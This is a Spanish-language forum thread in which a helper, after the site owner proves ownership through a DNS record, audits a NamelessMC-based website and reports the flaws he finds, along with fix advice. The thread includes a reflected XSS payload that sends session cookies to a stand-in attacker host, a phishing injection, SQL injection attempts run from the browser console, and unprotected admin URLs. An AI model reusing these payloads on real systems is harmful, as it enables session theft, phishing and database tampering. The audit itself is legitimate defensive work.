Vulnerabilidad de una web

Iniciado por KinzVE, 5 Julio 2018, 06:56 AM

0 Miembros y 2 Visitantes están viendo este tema.

KinzVE

Buenas, se que este no es el lugar mas indicado para buscar este tipo de ayuda pero bueno.
Hace poco un grupito molesto me dijo en manera de amenaza que mi web era vulnerable a inyecciones sql.

Quería saber si alguien de aqui que tenga el minimo conocimiento sobre esto me podría hacer algun tipo de scaneo a la web y decirme si esto es o no verdad, por favor.

Preferiria cambiar de software ahora mismo, que luego cuando ya este todo terminado.
la web es  play.cubstar.net

El software de la web es NamelessMC lo pueden encontrar en github o en su pagina oficial.

WHK

#1
Hola, yo estoy dispuesto a ayudarte, lo único que necesito es que hagas un registro TXT en tu DNS que diga "acceso a pentetsing" (no un archivo en el servidor web), cuando esté listo nos avisas, de esa manera me aseguraré que ese sitio web realmente es tuyo y que no estas pidiendo que hackeemos un sitio web por ti.

Saludos.

KinzVE

Cita de: WHK en  6 Julio 2018, 16:08 PM
Hola, yo estoy dispuesto a ayudarte, lo único que necesito es que hagas un registro TXT en tu DNS que diga "acceso a pentetsing" (no un archivo en el servidor web), cuando esté listo nos avisas, de esa manera me aseguraré que ese sitio web realmente es tuyo y que no estas pidiendo que hackeemos un sitio web por ti.

Saludos.
http://prntscr.com/k3pjgf
No tengo mucha idea
pero creo que seria eso, saludos.

WHK

Nopues, no aparece en tus registros DNS:

Machine:~ whk$ dig -t txt play.cubstar.net

; <<>> DiG 9.10.6 <<>> -t txt play.cubstar.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41134
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;play.cubstar.net. IN TXT

;; AUTHORITY SECTION:
cubstar.net. 3600 IN SOA ns19.domaincontrol.com. dns.jomax.net. 2018070701 28800 7200 604800 86400

;; Query time: 127 msec
;; SERVER: xxx.xxx.xxx.xxx#53(xxx)
;; WHEN: Sat Jul 07 13:47:05 -04 2018
;; MSG SIZE  rcvd: 113


Machine:~ whk$ dig -t ns cubstar.net
...
;; ANSWER SECTION:
cubstar.net. 3600 IN NS ns19.domaincontrol.com.
cubstar.net. 3600 IN NS ns20.domaincontrol.com.
...


Ninguno de tus dos DNS oficiales de ese dominio tiene el registro txt que has agregado.

KinzVE

http://prntscr.com/k3proi
Diria que ya, ahí salen los nameservers y mas información.
Tipo TXT en el HOST coloque las dns y en Valor TXT Acceso Pentesting TLL 1 semana.
Si me equivoco corrígeme.

WHK

#5
Dale, ya lo he validado, como lo supuse, tu registro ha quedado en play.cubstar.net.cubstar.net xD pero bueno, por lo menos has comprobado ser el dueño del sitio web.

Dame un tiempo para darle un vistazo y te cuento. Si alguien más quiere darle un vistazo al sitio web, que lo haga con confianza pero sin dañar nada.

PD: http://play.cubstar.net/ no carga.

WHK

#6
Hola, he comenzado a darle un vistazo a tu sitio y acabo de encontrar un xss en una redirección que se hace por javascript cuando tratas de acceder al directorio inexistente de un perfil:

Por ejemplo, solicitando el directorio "x":
http://play.cubstar.net/profile/DamianIsHere');window.stop();alert(0);x('/x

El código queda así:

<script data-cfasync="false">window.location.replace('/profile/DamianIsHere');alert(0);x('/');</script>

Esto te puede impactar de varias maneras, primeramente es posible robar una sesión de usuario enviándole un enlace a alguien con un ataque debido a un segundo problema, el cual es que tu cookie de sesión de PHPSESSID de PHP (donde se almacena la autenticación del usuario) tiene el flag HttpOnly desactivado, esto quiere decir que a través de un ataque vía XSS es posible robar esta cookie por medio de javascript y reutilizarla.

Por ejemplo:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#location.href='://atacante.com/cookies?value='+document.cookie;

Luego por debajo con un robot automatizado podría ser capaz de recibir la cookie y enviar solicitudes automatizadas al foro por ejemplo para cambiarle la contraseña, postear cosas de manera automática, entrar al panel de administración y subirle una shell (backdoor para controlar el servidor y acceder a la base de datos).

También es posible reemplazar el contenido y hacer phishing, por ejemplo para solicitar una contraseña:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#document.body=document.createElement("body");document.body.innerHTML='Login falso aca.';history.pushState({},'','/login');

A demás, a traves de javascript puedo modificar la dirección URL para ocultar el XSS para que no se den cuenta que están dentro de un contenido falsificado.

Nota: para ver los XSS te recomiendo utilizar Firefox porque Google Chrome los filtra.

Te recomiendo que reemplaces la redirección de javascript por uno de cabecera http (location 301) o escapes los caracteres en hexadecimal de javascript (\xnn).

WHK

#7
Acabo de encontrar la inyección SQL, se encuentra en el botón para dar reputación a un usuario dentro de un post, las variables solo son requeridas pero no filtradas.

POST : http://play.cubstar.net/forum/reputation/

Leyendo el código fuente del html que genera tu sitio vi esto:

<li class="dropdown">
       <a class="dropdown-toggle" data-toggle="dropdown" href="#">&copy; CubStar Network 2018</a>
       <ul class="dropdown-menu">
           <li><a href="#" target="_blank">Site software &copy; Samerton</a></li>
           <li><a href="https://github.com/NamelessMC/Nameless" target="_blank">Source avaliable on GitHub.</a></li>
       </ul>
   </li>


Así que me fui al código fuente en php para darle un vistazo: https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php

Si te fijas, en la línea 30 y 47 solo exige que los valores sean requeridos pero no indica el tipo, por otro lado la sanitización de variables de la función create() tiene nativamente problemas de inyección sql haciendo que forzadamente las validaciones se hagan a través de las paginas y no desde el mismo núcleo.

He intentado ponerle comillas simples a los 4 parámetros enviados y me arroja lo siguiente:

CitarSQLSTATE[01000]: Warning: 1265 Data truncated for column 'user_received' at row 1

Intentaré explotar la vulnerabilidad.

Adicionalmente me he dado cuenta que tienes muchas malas prácticas en el desarrollo mismo, desde el filtrado de tipos de parámetros hasta la manera en como maneja los permisos de cada sección, por ejemplo, en cada archivo de página de administración debe hacer las mismas validaciones, si se les olvida en una sola pagina quedarán al descubierto, esto no sucedería si utilizaran por ejemplo una clase base para extender el cual hiciera la misma validación una sola ves previniendo problemas como estos:

http://play.cubstar.net/admin/update_uuids/?uid=300
http://play.cubstar.net/admin/update_mcnames/?uid=300
http://play.cubstar.net/admin/sidebar

Actualmente las funcionalidades de administración para normalizar los id y nombres de los usuarios no tienen restricción de acceso tal como si lo tienen las demás secciones.

WHK

#8
https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php#L47
   $queries->create("reputation", array(
       'user_received' => Input::get('uid'),
       'post_id' => Input::get('pid'),
       'topic_id' => Input::get('tid'),
       'user_given' => $user->data()->id,
       'time_given' => date('Y-m-d H:i:s')
   ));
   ...


https://github.com/NamelessMC/Nameless/blob/master/core/classes/Queries.php#L41
   public function create($table, $fields = array()) {
       if(!$this->_db->insert($table, $fields)) {
   ...


https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L151
   public function insert($table, $fields = array()) {
       $keys = array_keys($fields);
       $values = '';
       $x = 1;
       
       foreach($fields as $field) {
           $values .= '?';
           if ($x < count($fields)) {
               $values .= ', ';
           }
           $x++;
       }
       
       $table = $this->_prefix . $table;
       $sql = "INSERT INTO {$table} (`" . implode('`,`', $keys) . "`) VALUES ({$values})";
       
       if(!$this->createQuery($sql, $fields)->error()){
           return true;
       }
       return false;
   }
   ...


Tal cómo se ve, la función insert() nunca hace escapes para insertar los valores que vengan desde un array, tampoco es capaz de reconocer los tipos de datos y esta es la gran deficiencia con la mayoría de las funciones que manipulan la db, en consecuencia todo tu sistema puede ser susceptible a inyecciones sql, especialmente donde no se realicen controles adecuados en las páginas ya que el núcleo no limpia nada.

A esto le agregamos lo siguiente:
https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L13
$this->_pdo = new PDO('mysql:...

PDO tiene la ventaja y desventaja a su ves de poder realizar múltiples consultas en una misma query tal como lo hace Microsoft SQL Server, simplemente concatenando la consulta con un punto y coma ";", por lo cual esta inyección se podría traducir en un escape de variable con una comilla y luego del punto y coma realizar una inserción de datos adicional o eliminación, por ejemplo para hacerme administrador en el sitio o eliminar toda la base de datos.

Te recomiendo que uses como sistema de foro un phpbb3 con template de bootstrap y migres tus temas.

WHK

https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L173

public function update($table, $id, $fields) {
$set = '';
$x = 1;

foreach($fields as $name => $value){
$set .= "{$name} = ?";

if($x < count($fields)) {
$set .= ', ';
}
$x++;
}
$table = $this->_prefix . $table;
$sql = "UPDATE {$table} SET {$set} WHERE id = {$id}";

if(!$this->createQuery($sql, $fields)->error()) {
return true;
}

return false;
}


Al momento de crear la votación este es parseada por la función prepare() de PDO, pero el update no filtra el id.

Por ejemplo: Primero realizamos una votación normal y luego inyectamos para que se ejecute en el update:

Desde la consola de Firefox realizamos el voto:
$('input[name="uid"]').val("3');"); $('form[action="/forum/reputation/"]').submit();

Luego la inyección (para validar el token XSRF):
$('input[name="uid"]').val("3; update users set username=@@version where id = 17"); $('form[action="/forum/reputation/"]').submit();

De esta manera mi nombre de usuario (soy el user id 17) se transformaría en la versión de MySQL, pero por alguna razón no funciona, pero si puedo ver errores de consultas sql cuando fuerzo errores como este:

$('input[name="uid"]').val("3 ')"); $('form[action="/forum/reputation/"]').submit();

CitarSQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

Le daré otro vistazo más aver si logro explotarlo.